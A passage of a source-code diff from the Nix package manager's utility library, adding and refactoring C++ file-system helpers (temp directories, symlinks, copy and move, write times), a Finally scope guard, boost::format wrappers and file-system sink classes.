(mkdir(path.c_str() +#ifndef _WIN32 + , mode +#endif + ) == -1) + throw SysError("creating directory '%1%'", path); +} + +void createDirs(const Path & path) +{ + try { + fs::create_directories(path); + } catch (fs::filesystem_error & e) { + throw SysError("creating directory '%1%'", path); + } +} + + +void deletePath(const fs::path & path, uint64_t & bytesFreed) +{ + //Activity act(*logger, lvlDebug, "recursively deleting path '%1%'", path); + bytesFreed = 0; + _deletePath(path, bytesFreed); +} + + +////////////////////////////////////////////////////////////////////// + +AutoDelete::AutoDelete() : del{false} {} + +AutoDelete::AutoDelete(const fs::path & p, bool recursive) : _path(p) +{ + del = true; + this->recursive = recursive; +} + +AutoDelete::~AutoDelete() +{ + try { + if (del) { + if (recursive) + deletePath(_path); + else { + fs::remove(_path); + } + } + } catch (...) { + ignoreException(); + } +} + +void AutoDelete::cancel() +{ + del = false; +} + +void AutoDelete::reset(const fs::path & p, bool recursive) { + _path = p; + this->recursive = recursive; + del = true; +} + +////////////////////////////////////////////////////////////////////// + +////////////////////////////////////////////////////////////////////// + +std::string defaultTempDir() { + return getEnvNonEmpty("TMPDIR").value_or("/tmp"); +} + +static Path tempName(Path tmpRoot, const Path & prefix, bool includePid, + std::atomic & counter) +{ + tmpRoot = canonPath(tmpRoot.empty() ? defaultTempDir() : tmpRoot, true); + if (includePid) + return fmt("%1%/%2%-%3%-%4%", tmpRoot, prefix, getpid(), counter++); + else + return fmt("%1%/%2%-%3%", tmpRoot, prefix, counter++); +} + +Path createTempDir(const Path & tmpRoot, const Path & prefix, + bool includePid, bool useGlobalCounter, mode_t mode) +{ + static std::atomic globalCounter = 0; + std::atomic localCounter = 0; + auto & counter(useGlobalCounter ? globalCounter : localCounter); + + while (1) { + checkInterrupt(); + Path tmpDir = tempName(tmpRoot, prefix, includePid, counter); + if (mkdir(tmpDir.c_str() +#ifndef _WIN32 // TODO abstract mkdir perms for Windows + , mode +#endif + ) == 0) { +#if __FreeBSD__ + /* Explicitly set the group of the directory. This is to + work around around problems caused by BSD's group + ownership semantics (directories inherit the group of + the parent). For instance, the group of /tmp on + FreeBSD is "wheel", so all directories created in /tmp + will be owned by "wheel"; but if the user is not in + "wheel", then "tar" will fail to unpack archives that + have the setgid bit set on directories. */ + if (chown(tmpDir.c_str(), (uid_t) -1, getegid()) != 0) + throw SysError("setting group of directory '%1%'", tmpDir); +#endif + return tmpDir; + } + if (errno != EEXIST) + throw SysError("creating directory '%1%'", tmpDir); + } +} + + +std::pair createTempFile(const Path & prefix) +{ + Path tmpl(defaultTempDir() + "/" + prefix + ".XXXXXX"); + // Strictly speaking, this is UB, but who cares... + // FIXME: use O_TMPFILE. + AutoCloseFD fd = toDescriptor(mkstemp((char *) tmpl.c_str())); + if (!fd) + throw SysError("creating temporary file '%s'", tmpl); +#ifndef _WIN32 + unix::closeOnExec(fd.get()); +#endif + return {std::move(fd), tmpl}; +} + +void createSymlink(const Path & target, const Path & link) +{ + fs::create_symlink(target, link); +} + +void replaceSymlink(const Path & target, const Path & link) +{ + for (unsigned int n = 0; true; n++) { + Path tmp = canonPath(fmt("%s/.%d_%s", dirOf(link), n, baseNameOf(link))); + + try { + createSymlink(target, tmp); + } catch (fs::filesystem_error & e) { + if (e.code() == std::errc::file_exists) continue; + throw; + } + + std::filesystem::rename(tmp, link); + + break; + } +} + +void setWriteTime( + const fs::path & path, + time_t accessedTime, + time_t modificationTime, + std::optional optIsSymlink) +{ +#ifndef _WIN32 + struct timeval times[2] = { + { + .tv_sec = accessedTime, + .tv_usec = 0, + }, + { + .tv_sec = modificationTime, + .tv_usec = 0, + }, + }; +#endif + + auto nonSymlink = [&]{ + bool isSymlink = optIsSymlink + ? *optIsSymlink + : fs::is_symlink(path); + + if (!isSymlink) { +#ifdef _WIN32 + // FIXME use `fs::last_write_time`. + // + // Would be nice to use std::filesystem unconditionally, but + // doesn't support access time just modification time. + // + // System clock vs File clock issues also make that annoying. + warn("Changing file times is not yet implemented on Windows, path is '%s'", path); +#else + if (utimes(path.c_str(), times) == -1) { + + throw SysError("changing modification time of '%s' (not a symlink)", path); + } +#endif + } else { + throw Error("Cannot modification time of symlink '%s'", path); + } + }; + +#if HAVE_LUTIMES + if (lutimes(path.c_str(), times) == -1) { + if (errno == ENOSYS) + nonSymlink(); + else + throw SysError("changing modification time of '%s'", path); + } +#else + nonSymlink(); +#endif +} + +void setWriteTime(const fs::path & path, const struct stat & st) +{ + setWriteTime(path, st.st_atime, st.st_mtime, S_ISLNK(st.st_mode)); +} + +void copyFile(const fs::path & from, const fs::path & to, bool andDelete) +{ + auto fromStatus = fs::symlink_status(from); + + // Mark the directory as writable so that we can delete its children + if (andDelete && fs::is_directory(fromStatus)) { + fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); + } + + + if (fs::is_symlink(fromStatus) || fs::is_regular_file(fromStatus)) { + fs::copy(from, to, fs::copy_options::copy_symlinks | fs::copy_options::overwrite_existing); + } else if (fs::is_directory(fromStatus)) { + fs::create_directory(to); + for (auto & entry : fs::directory_iterator(from)) { + copyFile(entry, to / entry.path().filename(), andDelete); + } + } else { + throw Error("file '%s' has an unsupported type", from); + } + + setWriteTime(to, lstat(from.string().c_str())); + if (andDelete) { + if (!fs::is_symlink(fromStatus)) + fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); + fs::remove(from); + } +} + +void moveFile(const Path & oldName, const Path & newName) +{ + try { + std::filesystem::rename(oldName, newName); + } catch (fs::filesystem_error & e) { + auto oldPath = fs::path(oldName); + auto newPath = fs::path(newName); + // For the move to be as atomic as possible, copy to a temporary + // directory + fs::path temp = createTempDir( + os_string_to_string(PathViewNG { newPath.parent_path() }), + "rename-tmp"); + Finally removeTemp = [&]() { fs::remove(temp); }; + auto tempCopyTarget = temp / "copy-target"; + if (e.code().value() == EXDEV) { + fs::remove(newPath); + warn("Can’t rename %s as %s, copying instead", oldName, newName); + copyFile(oldPath, tempCopyTarget, true); + std::filesystem::rename( + os_string_to_string(PathViewNG { tempCopyTarget }), + os_string_to_string(PathViewNG { newPath })); + } + } +} + +////////////////////////////////////////////////////////////////////// + +bool isExecutableFileAmbient(const fs::path & exe) { + // Check file type, because directory being executable means + // something completely different. + // `is_regular_file` follows symlinks before checking. + return std::filesystem::is_regular_file(exe) + && access(exe.string().c_str(), +#ifdef WIN32 + 0 // TODO do better +#else + X_OK +#endif + ) == 0; +} + +} diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh new file mode 100644 index 000000000..0f406a2de --- /dev/null +++ b/src/libutil/file-system.hh @@ -0,0 +1,284 @@ +#pragma once +/** + * @file + * + * Utiltities for working with the file sytem and file paths. + */ + +#include "types.hh" +#include "error.hh" +#include "logging.hh" +#include "file-descriptor.hh" +#include "file-path.hh" + +#include +#include +#include +#include +#ifdef _WIN32 +# include +#endif +#include + +#include +#include +#include +#include +#include + +/** + * Polyfill for MinGW + * + * Windows does in fact support symlinks, but the C runtime interfaces predate this. + * + * @todo get rid of this, and stop using `stat` when we want `lstat` too. + */ +#ifndef S_ISLNK +# define S_ISLNK(m) false +#endif + +namespace nix { + +struct Sink; +struct Source; + +/** + * @return An absolutized path, resolving paths relative to the + * specified directory, or the current directory otherwise. The path + * is also canonicalised. + */ +Path absPath(PathView path, + std::optional dir = {}, + bool resolveSymlinks = false); + +/** + * Canonicalise a path by removing all `.` or `..` components and + * double or trailing slashes. Optionally resolves all symlink + * components such that each component of the resulting path is *not* + * a symbolic link. + */ +Path canonPath(PathView path, bool resolveSymlinks = false); + +/** + * @return The directory part of the given canonical path, i.e., + * everything before the final `/`. If the path is the root or an + * immediate child thereof (e.g., `/foo`), this means `/` + * is returned. + */ +Path dirOf(const PathView path); + +/** + * @return the base name of the given canonical path, i.e., everything + * following the final `/` (trailing slashes are removed). + */ +std::string_view baseNameOf(std::string_view path); + +/** + * Check whether 'path' is a descendant of 'dir'. Both paths must be + * canonicalized. + */ +bool isInDir(std::string_view path, std::string_view dir); + +/** + * Check whether 'path' is equal to 'dir' or a descendant of + * 'dir'. Both paths must be canonicalized. + */ +bool isDirOrInDir(std::string_view path, std::string_view dir); + +/** + * Get status of `path`. + */ +struct stat stat(const Path & path); +struct stat lstat(const Path & path); +/** + * `lstat` the given path if it exists. + * @return std::nullopt if the path doesn't exist, or an optional containing the result of `lstat` otherwise + */ +std::optional maybeLstat(const Path & path); + +/** + * @return true iff the given path exists. + */ +bool pathExists(const Path & path); + +/** + * A version of pathExists that returns false on a permission error. + * Useful for inferring default paths across directories that might not + * be readable. + * @return true iff the given path can be accessed and exists + */ +bool pathAccessible(const Path & path); + +/** + * Read the contents (target) of a symbolic link. The result is not + * in any way canonicalised. + */ +Path readLink(const Path & path); + +/** + * Open a `Descriptor` with read-only access to the given directory. + */ +Descriptor openDirectory(const std::filesystem::path & path); + +/** + * Read the contents of a file into a string. + */ +std::string readFile(const Path & path); +void readFile(const Path & path, Sink & sink); + +/** + * Write a string to a file. + */ +void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); + +void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); + +/** + * Flush a path's parent directory to disk. + */ +void syncParent(const Path & path); + +/** + * Flush a file or entire directory tree to disk. + */ +void recursiveSync(const Path & path); + +/** + * Delete a path; i.e., in the case of a directory, it is deleted + * recursively. It's not an error if the path does not exist. The + * second variant returns the number of bytes and blocks freed. + */ +void deletePath(const std::filesystem::path & path); + +void deletePath(const std::filesystem::path & path, uint64_t & bytesFreed); + +/** + * Create a directory and all its parents, if necessary. + */ +void createDirs(const Path & path); +inline void createDirs(PathView path) +{ + return createDirs(Path(path)); +} + +/** + * Create a single directory. + */ +void createDir(const Path & path, mode_t mode = 0755); + +/** + * Set the access and modification times of the given path, not + * following symlinks. + * + * @param accessTime Specified in seconds. + * + * @param modificationTime Specified in seconds. + * + * @param isSymlink Whether the file in question is a symlink. Used for + * fallback code where we don't have `lutimes` or similar. if + * `std::optional` is passed, the information will be recomputed if it + * is needed. Race conditions are possible so be careful! + */ +void setWriteTime( + const std::filesystem::path & path, + time_t accessedTime, + time_t modificationTime, + std::optional isSymlink = std::nullopt); + +/** + * Convenience wrapper that takes all arguments from the `struct stat`. + */ +void setWriteTime(const std::filesystem::path & path, const struct stat & st); + +/** + * Create a symlink. + */ +void createSymlink(const Path & target, const Path & link); + +/** + * Atomically create or replace a symlink. + */ +void replaceSymlink(const Path & target, const Path & link); + +/** + * Similar to 'renameFile', but fallback to a copy+remove if `src` and `dst` + * are on a different filesystem. + * + * Beware that this might not be atomic because of the copy that happens behind + * the scenes + */ +void moveFile(const Path & src, const Path & dst); + +/** + * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is + * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but + * with the guaranty that the destination will be “fresh”, with no stale inode + * or file descriptor pointing to it). + */ +void copyFile(const std::filesystem::path & from, const std::filesystem::path & to, bool andDelete); + +/** + * Automatic cleanup of resources. + */ +class AutoDelete +{ + std::filesystem::path _path; + bool del; + bool recursive; +public: + AutoDelete(); + AutoDelete(const std::filesystem::path & p, bool recursive = true); + ~AutoDelete(); + + void cancel(); + + void reset(const std::filesystem::path & p, bool recursive = true); + + const std::filesystem::path & path() const { return _path; } + PathViewNG view() const { return _path; } + + operator const std::filesystem::path & () const { return _path; } + operator PathViewNG () const { return _path; } +}; + + +struct DIRDeleter +{ + void operator()(DIR * dir) const { + closedir(dir); + } +}; + +typedef std::unique_ptr AutoCloseDir; + + +/** + * Create a temporary directory. + */ +Path createTempDir(const Path & tmpRoot = "", const Path & prefix = "nix", + bool includePid = true, bool useGlobalCounter = true, mode_t mode = 0755); + +/** + * Create a temporary file, returning a file handle and its path. + */ +std::pair createTempFile(const Path & prefix = "nix"); + +/** + * Return `TMPDIR`, or the default temporary directory if unset or empty. + */ +Path defaultTempDir(); + +/** + * Interpret `exe` as a location in the ambient file system and return + * whether it resolves to a file that is executable. + */ +bool isExecutableFileAmbient(const std::filesystem::path & exe); + +/** + * Used in various places. + */ +typedef std::function PathFilter; + +extern PathFilter defaultPathFilter; + +} diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc deleted file mode 100644 index 5666fc809..000000000 --- a/src/libutil/filesystem.cc +++ /dev/null @@ -1,217 +0,0 @@ -#include -#include -#include -#include - -#include "finally.hh" -#include "util.hh" -#include "types.hh" - -namespace fs = std::filesystem; - -namespace nix { - -static Path tempName(Path tmpRoot, const Path & prefix, bool includePid, - std::atomic & counter) -{ - tmpRoot = canonPath(tmpRoot.empty() ? getEnv("TMPDIR").value_or("/tmp") : tmpRoot, true); - if (includePid) - return (format("%1%/%2%-%3%-%4%") % tmpRoot % prefix % getpid() % counter++).str(); - else - return (format("%1%/%2%-%3%") % tmpRoot % prefix % counter++).str(); -} - -Path createTempDir(const Path & tmpRoot, const Path & prefix, - bool includePid, bool useGlobalCounter, mode_t mode) -{ - static std::atomic globalCounter = 0; - std::atomic localCounter = 0; - auto & counter(useGlobalCounter ? globalCounter : localCounter); - - while (1) { - checkInterrupt(); - Path tmpDir = tempName(tmpRoot, prefix, includePid, counter); - if (mkdir(tmpDir.c_str(), mode) == 0) { -#if __FreeBSD__ - /* Explicitly set the group of the directory. This is to - work around around problems caused by BSD's group - ownership semantics (directories inherit the group of - the parent). For instance, the group of /tmp on - FreeBSD is "wheel", so all directories created in /tmp - will be owned by "wheel"; but if the user is not in - "wheel", then "tar" will fail to unpack archives that - have the setgid bit set on directories. */ - if (chown(tmpDir.c_str(), (uid_t) -1, getegid()) != 0) - throw SysError("setting group of directory '%1%'", tmpDir); -#endif - return tmpDir; - } - if (errno != EEXIST) - throw SysError("creating directory '%1%'", tmpDir); - } -} - - -std::pair createTempFile(const Path & prefix) -{ - Path tmpl(getEnv("TMPDIR").value_or("/tmp") + "/" + prefix + ".XXXXXX"); - // Strictly speaking, this is UB, but who cares... - // FIXME: use O_TMPFILE. - AutoCloseFD fd(mkstemp((char *) tmpl.c_str())); - if (!fd) - throw SysError("creating temporary file '%s'", tmpl); - closeOnExec(fd.get()); - return {std::move(fd), tmpl}; -} - -void createSymlink(const Path & target, const Path & link, - std::optional mtime) -{ - if (symlink(target.c_str(), link.c_str())) - throw SysError("creating symlink from '%1%' to '%2%'", link, target); - if (mtime) { - struct timeval times[2]; - times[0].tv_sec = *mtime; - times[0].tv_usec = 0; - times[1].tv_sec = *mtime; - times[1].tv_usec = 0; - if (lutimes(link.c_str(), times)) - throw SysError("setting time of symlink '%s'", link); - } -} - -void replaceSymlink(const Path & target, const Path & link, - std::optional mtime) -{ - for (unsigned int n = 0; true; n++) { - Path tmp = canonPath(fmt("%s/.%d_%s", dirOf(link), n, baseNameOf(link))); - - try { - createSymlink(target, tmp, mtime); - } catch (SysError & e) { - if (e.errNo == EEXIST) continue; - throw; - } - - renameFile(tmp, link); - - break; - } -} - -void setWriteTime(const fs::path & p, const struct stat & st) -{ - struct timeval times[2]; - times[0] = { - .tv_sec = st.st_atime, - .tv_usec = 0, - }; - times[1] = { - .tv_sec = st.st_mtime, - .tv_usec = 0, - }; - if (lutimes(p.c_str(), times) != 0) - throw SysError("changing modification time of '%s'", p); -} - -void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) -{ - // TODO: Rewrite the `is_*` to use `symlink_status()` - auto statOfFrom = lstat(from.path().c_str()); - auto fromStatus = from.symlink_status(); - - // Mark the directory as writable so that we can delete its children - if (andDelete && fs::is_directory(fromStatus)) { - fs::permissions(from.path(), fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); - } - - - if (fs::is_symlink(fromStatus) || fs::is_regular_file(fromStatus)) { - fs::copy(from.path(), to, fs::copy_options::copy_symlinks | fs::copy_options::overwrite_existing); - } else if (fs::is_directory(fromStatus)) { - fs::create_directory(to); - for (auto & entry : fs::directory_iterator(from.path())) { - copy(entry, to / entry.path().filename(), andDelete); - } - } else { - throw Error("file '%s' has an unsupported type", from.path()); - } - - setWriteTime(to, statOfFrom); - if (andDelete) { - if (!fs::is_symlink(fromStatus)) - fs::permissions(from.path(), fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); - fs::remove(from.path()); - } -} - -void renameFile(const Path & oldName, const Path & newName) -{ - fs::rename(oldName, newName); -} - -void moveFile(const Path & oldName, const Path & newName) -{ - try { - renameFile(oldName, newName); - } catch (fs::filesystem_error & e) { - auto oldPath = fs::path(oldName); - auto newPath = fs::path(newName); - // For the move to be as atomic as possible, copy to a temporary - // directory - fs::path temp = createTempDir(newPath.parent_path(), "rename-tmp"); - Finally removeTemp = [&]() { fs::remove(temp); }; - auto tempCopyTarget = temp / "copy-target"; - if (e.code().value() == EXDEV) { - fs::remove(newPath); - warn("Can’t rename %s as %s, copying instead", oldName, newName); - copy(fs::directory_entry(oldPath), tempCopyTarget, true); - renameFile(tempCopyTarget, newPath); - } - } -} - -void recursiveSync(const Path & path) -{ - /* If it's a file, just fsync and return */ - auto st = lstat(path); - if (S_ISREG(st.st_mode)) { - AutoCloseFD fd = open(path.c_str(), O_RDONLY, 0); - if (!fd) - throw SysError("opening file '%1%'", path); - fd.fsync(); - return; - } - - /* Otherwise, perform a depth-first traversal of the directory and fsync all the files */ - std::deque dirsToEnumerate; - dirsToEnumerate.push_back(path); - std::vector dirsToFsync; - while (!dirsToEnumerate.empty()) { - auto currentDir = dirsToEnumerate.back(); - dirsToEnumerate.pop_back(); - const auto dirEntries = readDirectory(currentDir); - for (const auto& dirEntry : dirEntries) { - auto entryPath = currentDir + "/" + dirEntry.name; - if (dirEntry.type == DT_DIR) { - dirsToEnumerate.emplace_back(std::move(entryPath)); - } else if (dirEntry.type == DT_REG) { - AutoCloseFD fd = open(entryPath.c_str(), O_RDONLY, 0); - if (!fd) - throw SysError("opening file '%1%'", entryPath); - fd.fsync(); - } - } - dirsToFsync.emplace_back(std::move(currentDir)); - } - - /* fsync all the directories */ - for (auto dir = dirsToFsync.rbegin(); dir != dirsToFsync.rend(); ++dir) { - AutoCloseFD fd = open(dir->c_str(), O_RDONLY, 0); - if (!fd) - throw SysError("opening directory '%1%'", *dir); - fd.fsync(); - } -} - -} diff --git a/src/libutil/finally.hh b/src/libutil/finally.hh index dee2e8d2f..bda4227e6 100644 --- a/src/libutil/finally.hh +++ b/src/libutil/finally.hh @@ -1,13 +1,47 @@ #pragma once +///@file -/* A trivial class to run a function at the end of a scope. */ +#include +#include +#include + +/** + * A trivial class to run a function at the end of a scope. + */ template -class Finally +class [[nodiscard("Finally values must be used")]] Finally { private: Fn fun; + bool movedFrom = false; public: Finally(Fn fun) : fun(std::move(fun)) { } - ~Finally() { fun(); } + // Copying Finallys is definitely not a good idea and will cause them to be + // called twice. + Finally(Finally &other) = delete; + Finally(Finally &&other) : fun(std::move(other.fun)) { + other.movedFrom = true; + } + ~Finally() noexcept(false) + { + try { + if (!movedFrom) + fun(); + } catch (...) { + // finally may only throw an exception if exception handling is not already + // in progress. if handling *is* in progress we have to return cleanly here + // but are still prohibited from doing so since eating the exception would, + // in almost all cases, mess up error handling even more. the only good way + // to handle this is to abort entirely and leave a message, so we'll assert + // (and rethrow anyway, just as a defense against possible NASSERT builds.) + if (std::uncaught_exceptions()) { + assert(false && + "Finally function threw an exception during exception handling. " + "this is not what you want, please use some other methods (like " + "std::promise or async) instead."); + } + throw; + } + } }; diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh index e879fd3b8..850b7162d 100644 --- a/src/libutil/fmt.hh +++ b/src/libutil/fmt.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -7,151 +8,190 @@ namespace nix { - -/* Inherit some names from other namespaces for convenience. */ -using boost::format; - - -/* A variadic template that does nothing. Useful to call a function - for all variadic arguments but ignoring the result. */ -struct nop { template nop(T...) {} }; - - -struct FormatOrString -{ - std::string s; - FormatOrString(std::string s) : s(std::move(s)) { }; - template - FormatOrString(const F & f) : s(f.str()) { }; - FormatOrString(const char * s) : s(s) { }; -}; - - -/* A helper for formatting strings. ‘fmt(format, a_0, ..., a_n)’ is - equivalent to ‘boost::format(format) % a_0 % ... % - ... a_n’. However, ‘fmt(s)’ is equivalent to ‘s’ (so no %-expansion - takes place). */ - +/** + * A helper for writing `boost::format` expressions. + * + * These are equivalent: + * + * ``` + * formatHelper(formatter, a_0, ..., a_n) + * formatter % a_0 % ... % a_n + * ``` + * + * With a single argument, `formatHelper(s)` is a no-op. + */ template inline void formatHelper(F & f) -{ -} +{ } template inline void formatHelper(F & f, const T & x, const Args & ... args) { + // Interpolate one argument and then recurse. formatHelper(f % x, args...); } +/** + * Set the correct exceptions for `fmt`. + */ +inline void setExceptions(boost::format & fmt) +{ + fmt.exceptions( + boost::io::all_error_bits ^ + boost::io::too_many_args_bit ^ + boost::io::too_few_args_bit); +} + +/** + * A helper for writing a `boost::format` expression to a string. + * + * These are (roughly) equivalent: + * + * ``` + * fmt(formatString, a_0, ..., a_n) + * (boost::format(formatString) % a_0 % ... % a_n).str() + * ``` + * + * However, when called with a single argument, the string is returned + * unchanged. + * + * If you write code like this: + * + * ``` + * std::cout << boost::format(stringFromUserInput) << std::endl; + * ``` + * + * And `stringFromUserInput` contains formatting placeholders like `%s`, then + * the code will crash at runtime. `fmt` helps you avoid this pitfall. + */ inline std::string fmt(const std::string & s) { return s; } +inline std::string fmt(std::string_view s) +{ + return std::string(s); +} + inline std::string fmt(const char * s) { return s; } -inline std::string fmt(const FormatOrString & fs) -{ - return fs.s; -} - template inline std::string fmt(const std::string & fs, const Args & ... args) { boost::format f(fs); - f.exceptions(boost::io::all_error_bits ^ boost::io::too_many_args_bit); + setExceptions(f); formatHelper(f, args...); return f.str(); } -// ----------------------------------------------------------------------------- -// format function for hints in errors. same as fmt, except templated values -// are always in yellow. - +/** + * Values wrapped in this struct are printed in magenta. + * + * By default, arguments to `HintFmt` are printed in magenta. To avoid this, + * either wrap the argument in `Uncolored` or add a specialization of + * `HintFmt::operator%`. + */ template -struct yellowtxt +struct Magenta { - yellowtxt(const T &s) : value(s) {} + Magenta(const T &s) : value(s) {} const T & value; }; template -std::ostream & operator<<(std::ostream & out, const yellowtxt & y) +std::ostream & operator<<(std::ostream & out, const Magenta & y) { return out << ANSI_WARNING << y.value << ANSI_NORMAL; } +/** + * Values wrapped in this class are printed without coloring. + * + * Specifically, the color is reset to normal before printing the value. + * + * By default, arguments to `HintFmt` are printed in magenta (see `Magenta`). + */ template -struct normaltxt +struct Uncolored { - normaltxt(const T & s) : value(s) {} + Uncolored(const T & s) : value(s) {} const T & value; }; template -std::ostream & operator<<(std::ostream & out, const normaltxt & y) +std::ostream & operator<<(std::ostream & out, const Uncolored & y) { return out << ANSI_NORMAL << y.value; } -class hintformat +/** + * A wrapper around `boost::format` which colors interpolated arguments in + * magenta by default. + */ +class HintFmt { +private: + boost::format fmt; + public: - hintformat(const std::string & format) : fmt(format) - { - fmt.exceptions(boost::io::all_error_bits ^ - boost::io::too_many_args_bit ^ - boost::io::too_few_args_bit); + /** + * Format the given string literally, without interpolating format + * placeholders. + */ + HintFmt(const std::string & literal) + : HintFmt("%s", Uncolored(literal)) + { } + + static HintFmt fromFormatString(const std::string & format) { + return HintFmt(boost::format(format)); } - hintformat(const hintformat & hf) + /** + * Interpolate the given arguments into the format string. + */ + template + HintFmt(const std::string & format, const Args & ... args) + : HintFmt(boost::format(format), args...) + { } + + HintFmt(const HintFmt & hf) : fmt(hf.fmt) { } - hintformat(format && fmt) + template + HintFmt(boost::format && fmt, const Args & ... args) : fmt(std::move(fmt)) - { } + { + setExceptions(fmt); + formatHelper(*this, args...); + } template - hintformat & operator%(const T & value) + HintFmt & operator%(const T & value) { - fmt % yellowtxt(value); + fmt % Magenta(value); return *this; } template - hintformat & operator%(const normaltxt & value) + HintFmt & operator%(const Uncolored & value) { fmt % value.value; return *this; } + HintFmt & operator=(HintFmt const & rhs) = default; + std::string str() const { return fmt.str(); } - -private: - format fmt; }; -std::ostream & operator<<(std::ostream & os, const hintformat & hf); - -template -inline hintformat hintfmt(const std::string & fs, const Args & ... args) -{ - hintformat f(fs); - formatHelper(f, args...); - return f; -} - -inline hintformat hintfmt(const std::string & plain_string) -{ - // we won't be receiving any args in this case, so just print the original string - return hintfmt("%s", normaltxt(plain_string)); -} +std::ostream & operator<<(std::ostream & os, const HintFmt & hf); } diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc new file mode 100644 index 000000000..154346cee --- /dev/null +++ b/src/libutil/fs-sink.cc @@ -0,0 +1,191 @@ +#include + +#include "error.hh" +#include "config-global.hh" +#include "fs-sink.hh" + +#if _WIN32 +# include +# include "file-path.hh" +# include "windows-error.hh" +#endif + +namespace nix { + +void copyRecursive( + SourceAccessor & accessor, const CanonPath & from, + FileSystemObjectSink & sink, const CanonPath & to) +{ + auto stat = accessor.lstat(from); + + switch (stat.type) { + case SourceAccessor::tSymlink: + { + sink.createSymlink(to, accessor.readLink(from)); + break; + } + + case SourceAccessor::tRegular: + { + sink.createRegularFile(to, [&](CreateRegularFileSink & crf) { + if (stat.isExecutable) + crf.isExecutable(); + accessor.readFile(from, crf, [&](uint64_t size) { + crf.preallocateContents(size); + }); + }); + break; + } + + case SourceAccessor::tDirectory: + { + sink.createDirectory(to); + for (auto & [name, _] : accessor.readDirectory(from)) { + copyRecursive( + accessor, from / name, + sink, to / name); + break; + } + break; + } + + case SourceAccessor::tMisc: + throw Error("file '%1%' has an unsupported type", from); + + default: + unreachable(); + } +} + + +struct RestoreSinkSettings : Config +{ + Setting preallocateContents{this, false, "preallocate-contents", + "Whether to preallocate files when writing objects with known size."}; +}; + +static RestoreSinkSettings restoreSinkSettings; + +static GlobalConfig::Register r1(&restoreSinkSettings); + + +void RestoreSink::createDirectory(const CanonPath & path) +{ + std::filesystem::create_directory(dstPath / path.rel()); +}; + +struct RestoreRegularFile : CreateRegularFileSink { + AutoCloseFD fd; + bool startFsync = false; + + ~RestoreRegularFile() + { + /* Initiate an fsync operation without waiting for the + result. The real fsync should be run before registering a + store path, but this is a performance optimization to allow + the disk write to start early. */ + if (fd && startFsync) + fd.startFsync(); + } + + void operator () (std::string_view data) override; + void isExecutable() override; + void preallocateContents(uint64_t size) override; +}; + +static std::filesystem::path append(const std::filesystem::path & src, const CanonPath & path) +{ + auto dst = src; + if (!path.rel().empty()) + dst /= path.rel(); + return dst; +} + +void RestoreSink::createRegularFile(const CanonPath & path, std::function func) +{ + auto p = append(dstPath, path); + + RestoreRegularFile crf; + crf.startFsync = startFsync; + crf.fd = +#ifdef _WIN32 + CreateFileW(p.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) +#else + open(p.c_str(), O_CREAT | O_EXCL | O_WRONLY | O_CLOEXEC, 0666) +#endif + ; + if (!crf.fd) throw NativeSysError("creating file '%1%'", p); + func(crf); +} + +void RestoreRegularFile::isExecutable() +{ + // Windows doesn't have a notion of executable file permissions we + // care about here, right? +#ifndef _WIN32 + struct stat st; + if (fstat(fd.get(), &st) == -1) + throw SysError("fstat"); + if (fchmod(fd.get(), st.st_mode | (S_IXUSR | S_IXGRP | S_IXOTH)) == -1) + throw SysError("fchmod"); +#endif +} + +void RestoreRegularFile::preallocateContents(uint64_t len) +{ + if (!restoreSinkSettings.preallocateContents) + return; + +#if HAVE_POSIX_FALLOCATE + if (len) { + errno = posix_fallocate(fd.get(), 0, len); + /* Note that EINVAL may indicate that the underlying + filesystem doesn't support preallocation (e.g. on + OpenSolaris). Since preallocation is just an + optimisation, ignore it. */ + if (errno && errno != EINVAL && errno != EOPNOTSUPP && errno != ENOSYS) + throw SysError("preallocating file of %1% bytes", len); + } +#endif +} + +void RestoreRegularFile::operator () (std::string_view data) +{ + writeFull(fd.get(), data); +} + +void RestoreSink::createSymlink(const CanonPath & path, const std::string & target) +{ + auto p = append(dstPath, path); + nix::createSymlink(target, p.string()); +} + + +void RegularFileSink::createRegularFile(const CanonPath & path, std::function func) +{ + struct CRF : CreateRegularFileSink { + RegularFileSink & back; + CRF(RegularFileSink & back) : back(back) {} + void operator () (std::string_view data) override + { + back.sink(data); + } + void isExecutable() override {} + } crf { *this }; + func(crf); +} + + +void NullFileSystemObjectSink::createRegularFile(const CanonPath & path, std::function func) +{ + struct : CreateRegularFileSink { + void operator () (std::string_view data) override {} + void isExecutable() override {} + } crf; + // Even though `NullFileSystemObjectSink` doesn't do anything, it's important + // that we call the function, to e.g. advance the parser using this + // sink. + func(crf); +} + +} diff --git a/src/libutil/fs-sink.hh b/src/libutil/fs-sink.hh new file mode 100644 index 000000000..5c5073731 --- /dev/null +++ b/src/libutil/fs-sink.hh @@ -0,0 +1,123 @@ +#pragma once +///@file + +#include "serialise.hh" +#include "source-accessor.hh" +#include "file-system.hh" + +namespace nix { + +/** + * Actions on an open regular file in the process of creating it. + * + * See `FileSystemObjectSink::createRegularFile`. + */ +struct CreateRegularFileSink : Sink +{ + virtual void isExecutable() = 0; + + /** + * An optimization. By default, do nothing. + */ + virtual void preallocateContents(uint64_t size) { }; +}; + + +struct FileSystemObjectSink +{ + virtual ~FileSystemObjectSink() = default; + + virtual void createDirectory(const CanonPath & path) = 0; + + /** + * This function in general is no re-entrant. Only one file can be + * written at a time. + */ + virtual void createRegularFile( + const CanonPath & path, + std::function) = 0; + + virtual void createSymlink(const CanonPath & path, const std::string & target) = 0; +}; + +/** + * An extension of `FileSystemObjectSink` that supports file types + * that are not supported by Nix's FSO model. + */ +struct ExtendedFileSystemObjectSink : virtual FileSystemObjectSink +{ + /** + * Create a hard link. The target must be the path of a previously + * encountered file relative to the root of the FSO. + */ + virtual void createHardlink(const CanonPath & path, const CanonPath & target) = 